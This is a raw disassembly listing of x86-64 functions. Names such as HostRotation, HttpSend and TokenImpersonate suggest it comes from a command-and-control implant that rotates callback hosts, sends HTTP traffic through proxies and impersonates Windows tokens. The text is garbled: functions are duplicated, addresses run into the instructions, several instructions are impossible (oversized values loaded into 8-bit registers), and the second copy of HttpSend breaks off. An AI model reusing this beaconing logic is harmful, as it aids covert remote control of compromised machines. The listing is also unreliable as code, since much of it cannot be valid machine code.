140014d9bje 0x140014df3
140014d9dmov rdx, [rip+0x175cc]
140014da4mov eax, [rcx+12]
140014da7cmp eax, [rdx+150]
140014dadjne 0x140014dc7
140014dafmov [rcx+16], 1
140014db6movsx ecx, [rdx+144]
140014dbdadd rsp, 48
140014dc1pop rbx
140014dc2jmp 0x140014ee0
140014dc7
140014dc7loc_140014dc7:
140014dc7inc eax
140014dc9mov r8l, 382
140014dcflea rdx, [rip+0x17f8a]
140014dd6mov [rcx+12], eax
140014dd9mov [rsp+40], eax
140014dddmov eax, [rcx+8]
140014de0mov [rsp+32], eax
140014de4mov r9, [rcx]
140014de7lea rcx, [rip+0x1516a]
140014deecall printf
140014df3
140014df3loc_140014df3:
140014df3add rsp, 48
140014df7mov rax, rbx
140014dfapop rbx
140014dfbret
140014d90
140014dfc
140014dfc // align 0x10
140014dfc // align 0x10
140014e00
140014e00HostRandom:
140014e00push rsi
140014e01push rbx
140014e02sub rsp, 72
140014e06call RandomNumber32
140014e0bmov r8l, eax
140014e0ecall HostCount
140014e13xor edx, edx
140014e15mov esi, eax
140014e17mov eax, r8l
140014e1adiv esi
140014e1cmov rax, [rip+0x1754d]
140014e23mov rbx, [rax+112]
140014e27mov r9l, edx
140014e2atest edx, edx
140014e2cje 0x140014e69
140014e2etest rbx, rbx
140014e31je 0x140014e47
140014e33xor eax, eax
140014e35
140014e35loc_140014e35:
140014e35mov rbx, [rbx+24]
140014e39test rbx, rbx
140014e3cje 0x140014e47
140014e3einc eax
140014e40cmp r9l, eax
140014e43jne 0x140014e35
140014e45jmp 0x140014e69
140014e47
140014e47loc_140014e47:
140014e47mov r8l, 417
140014e4dlea rdx, [rip+0x17abc]
140014e54lea rcx, [rip+0x1505a]
140014e5bcall printf
140014e60mov eax, [0xc]
140014e67ud2
140014e69
140014e69loc_140014e69:
140014e69lea rsi, [rip+0x17aa0]
140014e70mov r8l, 417
140014e76lea rcx, [rip+0x15038]
140014e7dmov rdx, rsi
140014e80call printf
140014e85cmp [rbx+16], 0
140014e89mov edx, [rbx+12]
140014e8cmov r9, rbx
140014e8flea rcx, [rip+0x15014]
140014e96lea rax, [rip+0x15012]
140014e9dmov r8l, 418
140014ea3cmovne rax, rcx
140014ea7mov [rsp+56], edx
140014eablea rcx, [rip+0x1501e]
140014eb2mov rdx, rsi
140014eb5mov [rsp+48], rax
140014ebamov eax, [rbx+8]
140014ebdmov [rsp+40], eax
140014ec1mov rax, [rbx]
140014ec4mov [rsp+32], rax
140014ec9call printf
140014eceadd rsp, 72
140014ed2mov rax, rbx
140014ed5pop rbx
140014ed6pop rsi
140014ed7ret
140014e00
140014e00HostRandom:
140014e00push rsi
140014e01push rbx
140014e02sub rsp, 72
140014e06call RandomNumber32
140014e0bmov r8l, eax
140014e0ecall HostCount
140014e13xor edx, edx
140014e15mov esi, eax
140014e17mov eax, r8l
140014e1adiv esi
140014e1cmov rax, [rip+0x1754d]
140014e23mov rbx, [rax+112]
140014e27mov r9l, edx
140014e2atest edx, edx
140014e2cje 0x140014e69
140014e2etest rbx, rbx
140014e31je 0x140014e47
140014e33xor eax, eax
140014e35
140014e35loc_140014e35:
140014e35mov rbx, [rbx+24]
140014e39test rbx, rbx
140014e3cje 0x140014e47
140014e3einc eax
140014e40cmp r9l, eax
140014e43jne 0x140014e35
140014e45jmp 0x140014e69
140014e47
140014e47loc_140014e47:
140014e47mov r8l, 417
140014e4dlea rdx, [rip+0x17abc]
140014e54lea rcx, [rip+0x1505a]
140014e5bcall printf
140014e60mov eax, [0xc]
140014e67ud2
140014e69
140014e69loc_140014e69:
140014e69lea rsi, [rip+0x17aa0]
140014e70mov r8l, 417
140014e76lea rcx, [rip+0x15038]
140014e7dmov rdx, rsi
140014e80call printf
140014e85cmp [rbx+16], 0
140014e89mov edx, [rbx+12]
140014e8cmov r9, rbx
140014e8flea rcx, [rip+0x15014]
140014e96lea rax, [rip+0x15012]
140014e9dmov r8l, 418
140014ea3cmovne rax, rcx
140014ea7mov [rsp+56], edx
140014eablea rcx, [rip+0x1501e]
140014eb2mov rdx, rsi
140014eb5mov [rsp+48], rax
140014ebamov eax, [rbx+8]
140014ebdmov [rsp+40], eax
140014ec1mov rax, [rbx]
140014ec4mov [rsp+32], rax
140014ec9call printf
140014eceadd rsp, 72
140014ed2mov rax, rbx
140014ed5pop rbx
140014ed6pop rsi
140014ed7ret
140014e00
140014ed8
140014ed8 // align 0x10
140014ed8 // align 0x10
140014ee0
140014ee0HostRotation:
140014ee0push rbx
140014ee1sub rsp, 32
140014ee5mov rbx, [rip+0x17484]
140014eeccmp [rbx+120], 1
140014ef0jbe 0x140014ef9
140014ef2xor r8l, r8l
140014ef5mov [rbx+24], r8l
140014ef9
140014ef9loc_140014ef9:
140014ef9test cx, cx
140014efcjne 0x140014f28
140014efecmp [rbx+104], 0
140014f03mov r8, [rbx+112]
140014f07je 0x140014f99
140014f0d
140014f0dloc_140014f0d:
140014f0dcall HostCount
140014f12test eax, eax
140014f14je 0x140014f7a
140014f16test r8, r8
140014f19je 0x140014f7a
140014f1bcmp [r8+16], 0
140014f20je 0x140014f7a
140014f22mov r8, [r8+24]
140014f26jmp 0x140014f0d
140014f28
140014f28loc_140014f28:
140014f28dec cx
140014f2bje 0x140014f62
140014f2dxor r8l, r8l
140014f30cmp [rbx+150], 0
140014f37
140014f37loc_140014f37:
140014f37jne 0x140014f99
140014f39mov r8l, 475
140014f3flea r9, [rip+0x14fcb]
140014f46lea rdx, [rip+0x177c3]
140014f4dlea rcx, [rip+0x14ff0]
140014f54call printf
140014f59mov r8, [rbx+112]
140014f5dmov rax, r8
140014f60jmp 0x140014f88
140014f62
140014f62loc_140014f62:
140014f62call HostRandom
140014f67cmp [rax+16], 0
140014f6bmov r8, rax
140014f6eje 0x140014f99
140014f70xor ecx, ecx
140014f72call HostRotation
140014f77mov r8, rax
140014f7a
140014f7aloc_140014f7a:
140014f7acmp [rbx+150], 0
140014f81jne 0x140014f99
140014f83test r8, r8
140014f86jmp 0x140014f37
140014f88
140014f88loc_140014f88:
140014f88test rax, rax
140014f8bje 0x140014f99
140014f8dxor edx, edx
140014f8fmov [rax+12], rdx
140014f93mov rax, [rax+24]
140014f97jmp 0x140014f88
140014f99
140014f99loc_140014f99:
140014f99add rsp, 32
140014f9dmov rax, r8
140014fa0pop rbx
140014fa1ret
140014ee0
140014ee0HostRotation:
140014ee0push rbx
140014ee1sub rsp, 32
140014ee5mov rbx, [rip+0x17484]
140014eeccmp [rbx+120], 1
140014ef0jbe 0x140014ef9
140014ef2xor r8l, r8l
140014ef5mov [rbx+24], r8l
140014ef9
140014ef9loc_140014ef9:
140014ef9test cx, cx
140014efcjne 0x140014f28
140014efecmp [rbx+104], 0
140014f03mov r8, [rbx+112]
140014f07je 0x140014f99
140014f0d
140014f0dloc_140014f0d:
140014f0dcall HostCount
140014f12test eax, eax
140014f14je 0x140014f7a
140014f16test r8, r8
140014f19je 0x140014f7a
140014f1bcmp [r8+16], 0
140014f20je 0x140014f7a
140014f22mov r8, [r8+24]
140014f26jmp 0x140014f0d
140014f28
140014f28loc_140014f28:
140014f28dec cx
140014f2bje 0x140014f62
140014f2dxor r8l, r8l
140014f30cmp [rbx+150], 0
140014f37
140014f37loc_140014f37:
140014f37jne 0x140014f99
140014f39mov r8l, 475
140014f3flea r9, [rip+0x14fcb]
140014f46lea rdx, [rip+0x177c3]
140014f4dlea rcx, [rip+0x14ff0]
140014f54call printf
140014f59mov r8, [rbx+112]
140014f5dmov rax, r8
140014f60jmp 0x140014f88
140014f62
140014f62loc_140014f62:
140014f62call HostRandom
140014f67cmp [rax+16], 0
140014f6bmov r8, rax
140014f6eje 0x140014f99
140014f70xor ecx, ecx
140014f72call HostRotation
140014f77mov r8, rax
140014f7a
140014f7aloc_140014f7a:
140014f7acmp [rbx+150], 0
140014f81jne 0x140014f99
140014f83test r8, r8
140014f86jmp 0x140014f37
140014f88
140014f88loc_140014f88:
140014f88test rax, rax
140014f8bje 0x140014f99
140014f8dxor edx, edx
140014f8fmov [rax+12], rdx
140014f93mov rax, [rax+24]
140014f97jmp 0x140014f88
140014f99
140014f99loc_140014f99:
140014f99add rsp, 32
140014f9dmov rax, r8
140014fa0pop rbx
140014fa1ret
140014ee0
140014fa2
140014fa2 // align 0x10
140014fa2 // align 0x10
140014fb0
140014fb0HttpQueryStatus:
140014fb0sub rsp, 72
140014fb4xor eax, eax
140014fb6xor edx, edx
140014fb8xor r8l, r8l
140014fbbmov [rsp+56], eax
140014fbflea rax, [rsp+60]
140014fc4lea r9, [rsp+56]
140014fc9mov [rsp+32], rax
140014fcemov rax, [rip+0x1739b]
140014fd5mov [rsp+40], rdx
140014fdamov edx, 0x20000013
140014fdfmov [rsp+60], 4
140014fe7call [rax+1252]
140014fedmov edx, eax
140014fefxor eax, eax
140014ff1test edx, edx
140014ff3je 0x140014ff9
140014ff5mov eax, [rsp+56]
140014ff9
140014ff9loc_140014ff9:
140014ff9add rsp, 72
140014ffdret
140014fb0
140014fb0HttpQueryStatus:
140014fb0sub rsp, 72
140014fb4xor eax, eax
140014fb6xor edx, edx
140014fb8xor r8l, r8l
140014fbbmov [rsp+56], eax
140014fbflea rax, [rsp+60]
140014fc4lea r9, [rsp+56]
140014fc9mov [rsp+32], rax
140014fcemov rax, [rip+0x1739b]
140014fd5mov [rsp+40], rdx
140014fdamov edx, 0x20000013
140014fdfmov [rsp+60], 4
140014fe7call [rax+1252]
140014fedmov edx, eax
140014fefxor eax, eax
140014ff1test edx, edx
140014ff3je 0x140014ff9
140014ff5mov eax, [rsp+56]
140014ff9
140014ff9loc_140014ff9:
140014ff9add rsp, 72
140014ffdret
140014fb0
140014ffe
140014ffe // align 0x10
140014ffe // align 0x10
140015000
140015000HttpSend:
140015000push r15
140015002xor eax, eax
140015004mov r15, rcx
140015007mov ecx, 6
14001500cpush r14
14001500emov r14, rdx
140015011push r13
140015013push r12
140015015push rbp
140015016push rdi
140015017push rsi
140015018xor esi, esi
14001501apush rbx
14001501bxor ebx, ebx
14001501dsub rsp, 1208
140015024lea rdi, [rsp+88]
140015029mov [rsp+84], esi
14001502dlea rsi, [rsp+88]
140015032rep stosd [rdi], eax
140015034lea rdi, [rsp+112]
140015039mov ecx, 8
14001503emov [rsp+80], ebx
140015042rep stosd [rdi], eax
140015044lea rdi, [rsp+144]
14001504cmov ecx, 8
140015051rep stosd [rdi], eax
140015053xor edi, edi
140015055mov ecx, 252
14001505amov [rsp+176], rdi
140015062mov [rsp+184], rdi
14001506alea rdi, [rsp+192]
140015072rep stosd [rdi], eax
140015074call TokenImpersonate
140015079mov r13, [rip+0x172f0]
140015080cmp [r13+104], 0
140015085jne 0x1400150ae
140015087lea rcx, [rip+0x14eb6]
14001508elea r9, [rip+0x14f09]
140015095mov r8l, 38
14001509blea rdx, [rip+0x180fe]
1400150a2call printf
1400150a7xor ecx, ecx
1400150a9call CommandExit
1400150ae
1400150aeloc_1400150ae:
1400150aecmp [r13+16], 0
1400150b3jne 0x140015125
1400150b5cmp [r13+182], 0
1400150bdmov rax, [r13+1180]
1400150c4mov rcx, [r13+158]
1400150cbje 0x1400150e6
1400150cdxor r11l, r11l
1400150d0mov r8, [r13+186]
1400150d7xor r9l, r9l
1400150damov edx, 3
1400150dfmov [rsp+32], r11l
1400150e4jmp 0x1400150f9
1400150e6
1400150e6loc_1400150e6:
1400150e6xor r10l, r10l
1400150e9xor r9l, r9l
1400150ecxor r8l, r8l
1400150efmov edx, 1
1400150f4mov [rsp+32], r10l
1400150f9
1400150f9loc_1400150f9:
1400150f9call rax
1400150fbmov [r13+16], rax
1400150fftest rax, rax
140015102jne 0x140015125
140015104mov rax, [r13+2230]
14001510bmov r8l, 61
140015111lea rdx, [rip+0x18088]
140015118lea rcx, [rip+0x14ea1]
14001511fmov r9l, [rax+104]
140015123jmp 0x140015173
140015125
140015125loc_140015125:
140015125mov rax, [r13+104]
140015129mov rcx, [r13+16]
14001512dxor r9l, r9l
140015130movzx r8l, [rax+8]
140015135mov rdx, [rax]
140015138call [r13+1188]
14001513fmov [rsp+64], rax
140015144test rax, rax
140015147je 0x140015154
140015149mov rdi, [r13+166]
140015150xor ebx, ebx
140015152jmp 0x14001517d
140015154
140015154loc_140015154:
140015154mov rax, [r13+2230]
14001515bmov r8l, 71
140015161lea rdx, [rip+0x18038]
140015168lea rcx, [rip+0x14e7c]
14001516fmov r9l, [rax+104]
140015173
140015173loc_140015173:
140015173call printf
140015178jmp 0x14001521e
14001517d
14001517dloc_14001517d:
14001517dmov eax, ebx
14001517fcmp [rdi+8*rax], 0
140015184je 0x14001518a
140015186inc ebx
140015188jmp 0x14001517d
14001518a
14001518aloc_14001518a:
14001518acall RandomNumber32
14001518fxor edx, edx
140015191mov [rsp+80], 256
140015199div ebx
14001519bcmp [r13+154], 0
1400151a3mov rax, [rdi+8*rdx]
1400151a7mov [rsp+72], rax
1400151acje 0x1400151b6
1400151aemov [rsp+80], 0x800100
1400151b6
1400151b6loc_1400151b6:
1400151b6mov eax, [rsp+80]
1400151baxor r9l, r9l
1400151bdmov r8, [rsp+72]
1400151c2mov rdx, [r13+136]
1400151c9mov rcx, [rsp+64]
1400151cemov [rsp+40], r9
1400151d3mov [rsp+32], r9
1400151d8xor r9l, r9l
1400151dbmov [rsp+48], eax
1400151dfcall [r13+1196]
1400151e6mov rbx, rax
1400151e9test rax, rax
1400151ecjne 0x140015225
1400151eemov rax, [r13+2230]
1400151f5lea rcx, [rip+0x14e1d]
1400151fcmov r8l, 93
140015202lea rdx, [rip+0x17f97]
140015209mov r9l, [rax+104]
14001520dcall printf
140015212mov rcx, [rsp+64]
140015217call [r13+1212]
14001521e
14001521eloc_14001521e:
14001521exor esi, esi
140015220jmp 0x14001576a
140015225
140015225loc_140015225:
140015225cmp [r13+154], 0
14001522dje 0x140015279
14001522fmov [rsp+80], 13056
140015237mov r9l, 4
14001523dlea r8, [rsp+80]
140015242mov rcx, rax
140015245mov edx, 31
14001524acall [r13+1204]
140015251test eax, eax
140015253jne 0x140015279
140015255mov rax, [r13+2230]
14001525cmov r8l, 107
140015262lea rdx, [rip+0x17f37]
140015269lea rcx, [rip+0x14ddb]
140015270mov r9l, [rax+104]
140015274call printf
140015279
140015279loc_140015279:
140015279xor edi, edi
14001527blea rbp, [rip+0x14df9]
140015282
140015282loc_140015282:
140015282mov rdx, [r13+174]
140015289mov eax, edi
14001528bmov r12, [rdx+8*rax]
14001528ftest r12, r12
140015292je 0x1400152cb
140015294or r8l, -1
140015298mov r9l, 0x20000000
14001529emov rdx, r12
1400152a1mov rcx, rbx
1400152a4call [r13+1228]
1400152abtest eax, eax
1400152adjne 0x1400152c7
1400152afmov r9, r12
1400152b2mov r8l, 121
1400152b8lea rdx, [rip+0x17ee1]
1400152bfmov rcx, rbp
1400152c2call printf
1400152c7
1400152c7loc_1400152c7:
1400152c7inc edi
1400152c9jmp 0x140015282
1400152cb
1400152cbloc_1400152cb:
1400152cbcmp [r13+182], 0
1400152d3je 0x1400153e2
1400152d9mov rax, [r13+186]
1400152e0mov r9l, 24
1400152e6mov r8, rsi
1400152e9mov rcx, rbx
1400152ecmov [rsp+88], 3
1400152f4mov edx, 38
1400152f9mov [rsp+96], rax
1400152fecall [r13+1204]
140015305test eax, eax
140015307jne 0x14001532d
140015309mov rax, [r13+2230]
140015310mov r8l, 135
140015316lea rdx, [rip+0x17e83]
14001531dlea rcx, [rip+0x14d27]
140015324mov r9l, [rax+104]
140015328call printf
14001532d
14001532dloc_14001532d:
14001532dmov rcx, [r13+194]
140015334test rcx, rcx
140015337je 0x140015381
140015339mov rsi, [r13+1204]
140015340call StringLengthW
140015345mov r8, [r13+194]
14001534cmov edx, 4098
140015351mov rcx, rbx
140015354mov r9l, eax
140015357call rsi
140015359test eax, eax
14001535bjne 0x140015381
14001535dmov rax, [r13+2230]
140015364mov r8l, 142
14001536alea rdx, [rip+0x17e2f]
140015371lea rcx, [rip+0x14d2d]
140015378mov r9l, [rax+104]
14001537ccall printf
140015381
140015381loc_140015381:
140015381mov rcx, [r13+202]
140015388test rcx, rcx
14001538bje 0x1400155c2
140015391mov rsi, [r13+1204]
140015398call StringLengthW
14001539dmov r8, [r13+202]
1400153a4mov edx, 4099
1400153a9mov rcx, rbx
1400153acmov r9l, eax
1400153afcall rsi
1400153b1test eax, eax
1400153b3jne 0x1400155c2
1400153b9mov rax, [r13+2230]
1400153c0mov r8l, 150
1400153c6lea rdx, [rip+0x17dd3]
1400153cdlea rcx, [rip+0x14d01]
1400153d4mov r9l, [rax+104]
1400153d8call printf
1400153ddjmp 0x1400155c2
1400153e2
1400153e2loc_1400153e2:
1400153e2cmp [r13+24], 0
1400153e7jne 0x1400155c2
1400153edxor r8l, r8l
1400153f0mov rcx, [r13+16]
1400153f4mov rdx, [rsp+72]
1400153f9mov r9, rsi
1400153fclea rdi, [rsp+144]
140015404mov [rsp+152], r8
14001540cmov rax, 0x300000001
140015416mov [rsp+144], rax
14001541emov eax, 1
140015423shl rax, 32
140015427mov [rsp+160], r8
14001542fmov r8, rdi
140015432mov [rsp+168], rax
14001543acall [r13+1268]
140015441mov rbp, [rip+0x16f28]
140015448test eax, eax
14001544aje 0x140015465
14001544cmov r9, [rsp+96]
140015451mov r8l, 175
140015457test r9, r9
14001545ajne 0x140015583
140015460jmp 0x140015596
140015465
140015465loc_140015465:
140015465lea rcx, [rsp+112]
14001546acall [r13+1260]
140015471test eax, eax
140015473je 0x1400155bb
140015479mov rcx, [rsp+128]
140015481test rcx, rcx
140015484je 0x14001550c
14001548acall StringLengthW
14001548ftest rax, rax
140015492je 0x14001550c
140015494mov r9, [rsp+128]
14001549cmov rax, [rsp+136]
1400154a4mov r8l, 194
1400154aalea rdx, [rip+0x17cef]
1400154b1lea rcx, [rip+0x14c6e]
1400154b8mov [rsp+88], 3
1400154c0mov [rsp+96], r9
1400154c5mov [rsp+104], rax
1400154cacall printf
1400154cfmov ecx, 64
1400154d4mov edx, 24
1400154d9mov [r13+36], 24
1400154e1call [r13+932]
1400154e8mov rcx, [r13+36]
1400154ecmov [r13+28], rax
1400154f0mov rdi, rax
1400154f3rep movsb [rdi], [rsi]
1400154f5xor ecx, ecx
1400154f7mov [rsp+128], rcx
1400154ffmov [rsp+136], rcx
140015507jmp 0x1400155bb
14001550c
14001550cloc_14001550c:
14001550cmov rcx, [rsp+120]
140015511test rcx, rcx
140015514je 0x1400155bb
14001551acall StringLengthW
14001551ftest rax, rax
140015522je 0x1400155bb
140015528mov r9, [rsp+120]
14001552dmov r8l, 211
140015533lea rdx, [rip+0x17c66]
14001553alea rcx, [rip+0x14c09]
140015541mov [rsp+144], 2
14001554dmov [rsp+152], r9
140015555call printf
14001555amov rcx, [rbp+16]
14001555emov r9, rsi
140015561mov r8, rdi
140015564mov rdx, [rsp+72]
140015569call [rbp+1268]
14001556ftest eax, eax
140015571je 0x1400155bb
140015573mov r9, [rsp+96]
140015578test r9, r9
14001557bje 0x140015596
14001557dmov r8l, 216
140015583
140015583loc_140015583:
140015583lea rdx, [rip+0x17c16]
14001558alea rcx, [rip+0x14b74]
140015591call printf
140015596
140015596loc_140015596:
140015596mov ecx, 64
14001559bmov [rbp+36], 24
1400155a3mov edx, 24
1400155a8call [rbp+932]
1400155aemov rcx, [rbp+36]
1400155b2mov [rbp+28], rax
1400155b6mov rdi, rax
1400155b9rep movsb [rdi], [rsi]
1400155bb
1400155bbloc_1400155bb:
1400155bbmov [rbp+24], 1
1400155c2
1400155c2loc_1400155c2:
1400155c2mov rbp, [rip+0x16da7]
1400155c9mov r8, [rbp+28]
1400155cdtest r8, r8
1400155d0je 0x14001560c
1400155d2mov r9l, [rbp+36]
1400155d6mov edx, 38
1400155dbmov rcx, rbx
1400155decall [rbp+1204]
1400155e4test eax, eax
1400155e6jne 0x14001560c
1400155e8mov rax, [rbp+2230]
1400155efmov r8l, 239
1400155f5lea rdx, [rip+0x17ba4]
1400155fclea rcx, [rip+0x14a48]
140015603mov r9l, [rax+104]
140015607call printf
14001560c
14001560cloc_14001560c:
14001560cmov eax, [r15+8]
140015610xor edx, edx
140015612xor r8l, r8l
140015615mov rcx, rbx
140015618mov [rsp+48], rdx
14001561dxor edx, edx
14001561fmov [rsp+40], eax
140015623mov [rsp+32], eax
140015627mov r9, [r15]
14001562acall [rbp+1220]
140015630test eax, eax
140015632je 0x140015722
140015638xor edx, edx
14001563amov rcx, rbx
14001563dcall [rbp+1236]
140015643test eax, eax
140015645je 0x14001571b
14001564bmov rcx, rbx
14001564ecall HttpQueryStatus
140015653cmp eax, 200
140015658je 0x14001567f
14001565alea r9, [rip+0x14b35]
140015661mov r8l, 251
140015667lea rdx, [rip+0x17b32]
14001566elea rcx, [rip+0x148cf]
140015675call printf
14001567ajmp 0x140015754
14001567f
14001567floc_14001567f:
14001567ftest r14, r14
140015682je 0x14001571b
140015688lea rax, [rsp+84]
14001568dxor edi, edi
14001568fmov [rsp+72], rax
140015694lea rax, [rsp+176]
14001569cmov r13, rax
14001569f
14001569floc_14001569f:
14001569fmov r9, [rsp+72]
1400156a4mov r8l, 1024
1400156aamov rdx, r13
1400156admov rcx, rbx
1400156b0call [rbp+1244]
1400156b6mov r15l, eax
1400156b9test eax, eax
1400156bbje 0x140015714
1400156bdmov edx, [rsp+84]
1400156c1test edx, edx
1400156c3je 0x140015714
1400156c5test r12, r12
1400156c8jne 0x1400156d7
1400156camov ecx, 64
1400156cfcall [rbp+932]
1400156d5jmp 0x1400156e9
1400156d7
1400156d7loc_1400156d7:
1400156d7add rdx, rdi
1400156damov r8l, 66
1400156e0mov rcx, r12
1400156e3call [rbp+948]
1400156e9
1400156e9loc_1400156e9:
1400156e9mov ecx, [rsp+84]
1400156edmov r12, rax
1400156f0lea rax, [rax+rdi]
1400156f4mov rsi, r13
1400156f7lea rdx, [rcx+rdi]
1400156fbmov rdi, rax
1400156fexor eax, eax
140015700rep movsb [rdi], [rsi]
140015702mov rdi, r13
140015705mov ecx, 1024
14001570arep stosb [rdi], al
14001570cdec r15l
14001570fmov rdi, rdx
140015712je 0x14001569f
140015714
140015714loc_140015714:
140015714mov [r14+8], edi
140015718mov [r14], r12
14001571b
14001571bloc_14001571b:
14001571bmov esi, 1
140015720jmp 0x140015756
140015722
140015722loc_140015722:
140015722mov rax, [rbp+2230]
140015729mov r9l, [rax+104]
14001572dcmp r9l, 12029
140015734jne 0x14001573b
140015736xor eax, eax
140015738mov [rbp+72], eax
14001573b
14001573bloc_14001573b:
14001573bmov r8l, 290
140015741lea rdx, [rip+0x17a58]
140015748lea rcx, [rip+0x14a7b]
14001574fcall printf
140015754
140015754loc_140015754:
140015754xor esi, esi
140015756
140015756loc_140015756:
140015756mov rcx, [rsp+64]
14001575bcall [rbp+1212]
140015761mov rcx, rbx
140015764call [rbp+1212]
14001576a
14001576aloc_14001576a:
14001576amov rcx, [rsp+128]
140015772test rcx, rcx
140015775je 0x140015784
140015777mov rax, [rip+0x16bf2]
14001577ecall [rax+1172]
140015784
140015784loc_140015784:
140015784mov rcx, [rsp+136]
14001578ctest rcx, rcx
14001578fje 0x14001579e
140015791mov rax, [rip+0x16bd8]
140015798call [rax+1172]
14001579e
14001579eloc_14001579e:
14001579emov rcx, [rsp+120]
1400157a3test rcx, rcx
1400157a6je 0x1400157b5
1400157a8mov rax, [rip+0x16bc1]
1400157afcall [rax+1172]
1400157b5
1400157b5loc_1400157b5:
1400157b5mov ecx, 1
1400157bacall TokenImpersonate
1400157bftest esi, esi
1400157c1jne 0x1400157d7
1400157c3mov rbx, [rip+0x16ba6]
1400157camov rcx, [rbx+104]
1400157cecall HostFailure
1400157d3mov [rbx+104], rax
1400157d7
1400157d7loc_1400157d7:
1400157d7add rsp, 1208
1400157demov eax, esi
1400157e0pop rbx
1400157e1pop rsi
1400157e2pop rdi
1400157e3pop rbp
1400157e4pop r12
1400157e6pop r13
1400157e8pop r14
1400157eapop r15
1400157ecret
140015000
140015000HttpSend:
140015000push r15
140015002xor eax, eax
140015004mov r15, rcx
140015007mov ecx, 6
14001500cpush r14
14001500emov r14, rdx
140015011push r13
140015013push r12
140015015push rbp
140015016push rdi
140015017push rsi
140015018xor esi, esi
14001501apush rbx
14001501bxor ebx, ebx
14001501dsub rsp, 1208
140015024lea rdi, [rsp+88]
140015029mov [rsp+84], esi
14001502dlea rsi, [rsp+88]
140015032rep stosd [rdi], eax
140015034lea rdi, [rsp+112]
140015039mov ecx, 8
14001503emov [rsp+80], ebx
140015042rep stosd [rdi], eax
140015044lea rdi, [rsp+144]
14001504cmov ecx, 8
140015051rep stosd [rdi], eax
140015053xor edi, edi
140015055mov ecx, 252
14001505amov [rsp+176], rdi
140015062mov [rsp+184], rdi
14001506alea rdi, [rsp+192]
140015072rep stosd [rdi], eax
140015074call TokenImpersonate
140015079mov r13, [rip+0x172f0]
140015080cmp [r13+104], 0
140015085jne 0x1400150ae
140015087lea rcx, [rip+0x14eb6]
14001508elea r9, [rip+0x14f09]
140015095mov r8l, 38
14001509blea rdx, [rip+0x180fe]
1400150a2call printf
1400150a7xor ecx, ecx
1400150a9call CommandExit
1400150ae
1400150aeloc_1400150ae:
1400150aecmp [r13+16], 0
1400150b3jne 0x140015125
1400150b5cmp [r13+182], 0
1400150bdmov rax, [r13+1180]
1400150c4mov rcx, [r13+158]
1400150cbje 0x1400150e6
1400150cdxor r11l, r11l
1400150d0mov r8, [r13+186]
1400150d7xor r9l, r9l
1400150damov edx, 3
1400150dfmov [rsp+32], r11l
1400150e4jmp 0x1400150f9
1400150e6
1400150e6loc_1400150e6:
1400150e6xor r10l, r10l
1400150e9xor r9l, r9l
1400150ecxor r8l, r8l
1400150efmov edx, 1
1400150f4mov [rsp+32], r10l
1400150f9
1400150f9loc_1400150f9:
1400150f9call rax
1400150fbmov [r13+16], rax
1400150fftest rax, rax
140015102jne 0x140015125
140015104mov rax, [r13+2230]
14001510bmov r8l, 61
140015111lea rdx, [rip+0x18088]
140015118lea rcx, [rip+0x14ea1]
14001511fmov r9l, [rax+104]
140015123jmp 0x140015173
140015125
140015125loc_140015125:
140015125mov rax, [r13+104]
140015129mov rcx, [r13+16]
14001512dxor r9l, r9l
140015130movzx r8l, [rax+8]
140015135mov rdx, [rax]
140015138call [r13+1188]
14001513fmov [rsp+64], rax
140015144test rax, rax
140015147je 0x140015154
140015149mov rdi, [r13+166]
140015150xor ebx, ebx
140015152jmp 0x14001517d
140015154
140015154loc_140015154:
140015154mov rax, [r13+2230]
14001515bmov r8l, 71
140015161lea rdx, [rip+0x18038]
140015168lea rcx, [rip+0x14e7c]
14001516fmov r9l, [rax+104]
140015173
140015173loc_140015173:
140015173call printf
140015178jmp 0x14001521e
14001517d
14001517dloc_14001517d:
14001517dmov eax, ebx
14001517fcmp [rdi+8*rax], 0
140015184je 0x14001518a
140015186inc ebx
140015188jmp 0x14001517d
14001518a
14001518aloc_14001518a:
14001518acall RandomNumber32
14001518fxor edx, edx
140015191mov [rsp+80], 256
140015199div ebx
14001519bcmp [r13+154], 0
1400151a3mov rax, [rdi+8*rdx]
1400151a7mov [rsp+72], rax
1400151acje 0x1400151b6
1400151aemov [rsp+80], 0x800100
1400151b6
1400151b6loc_1400151b6:
1400151b6mov eax, [rsp+80]
1400151baxor r9l, r9l
1400151bdmov r8, [rsp+72]
1400151c2mov rdx, [r13+136]
1400151c9mov rcx, [rsp+64]
1400151cemov [rsp+40], r9
1400151d3mov [rsp+32], r9
1400151d8xor r9l, r9l
1400151dbmov [rsp+48], eax
1400151dfcall [r13+1196]
1400151e6mov rbx, rax
1400151e9test rax, rax
1400151ecjne 0x140015225
1400151eemov rax, [r13+2230]
1400151f5lea rcx, [rip+0x14e1d]
1400151fcmov r8l, 93
140015202lea rdx, [rip+0x17f97]
140015209mov r9l, [rax+104]
14001520dcall printf
140015212mov rcx, [rsp+64]
140015217call [r13+1212]
14001521e
14001521eloc_14001521e:
14001521exor esi, esi
140015220jmp 0x14001576a
140015225
140015225loc_140015225:
140015225cmp [r13+154], 0
14001522dje 0x140015279
14001522fmov [rsp+80], 13056
140015237mov r9l, 4
14001523dlea r8, [rsp+80]
140015242mov rcx, rax
140015245mov edx, 31
14001524acall [r13+1204]
140015251test eax, eax
140015253jne 0x140015279
140015255mov rax, [r13+2230]
14001525cmov r8l, 107
140015262lea rdx, [rip+0x17f37]
140015269lea rcx, [rip+0x14ddb]
140015270mov r9l, [rax+104]
140015274call printf
140015279
140015279loc_140015279:
140015279xor edi, edi
14001527blea rbp, [rip+0x14df9]
140015282
140015282loc_140015282:
140015282mov rdx, [r13+174]
140015289mov eax, edi
14001528bmov r12, [rdx+8*rax]
14001528ftest r12, r12
140015292je 0x1400152cb
140015294or r8l, -1
140015298mov r9l, 0x20000000
14001529emov rdx, r12
1400152a1mov rcx, rbx
1400152a4call [r13+1228]
1400152abtest eax, eax
1400152adjne 0x1400152c7
1400152afmov r9, r12
1400152b2mov r8l, 121
1400152b8lea rdx, [rip+0x17ee1]
1400152bfmov rcx, rbp
1400152c2call printf
1400152c7
1400152c7loc_1400152c7:
1400152c7inc edi
1400152c9jmp 0x140015282
1400152cb
1400152cbloc_1400152cb:
1400152cbcmp [r13+182], 0
1400152d3je 0x1400153e2
1400152d9mov rax, [r13+186]
1400152e0mov r9l, 24
1400152e6mov r8, rsi
1400152e9mov rcx, rbx
1400152ecmov [rsp+88], 3
1400152f4mov edx, 38
1400152f9mov [rsp+96], rax
1400152fecall [r13+1204]
140015305test eax, eax
140015307jne 0x14001532d
140015309mov rax, [r13+2230]
140015310mov r8l, 135
140015316lea rdx, [rip+0x17e83]
14001531dlea rcx, [rip+0x14d27]
140015324mov r9l, [rax+104]
140015328call printf
14001532d
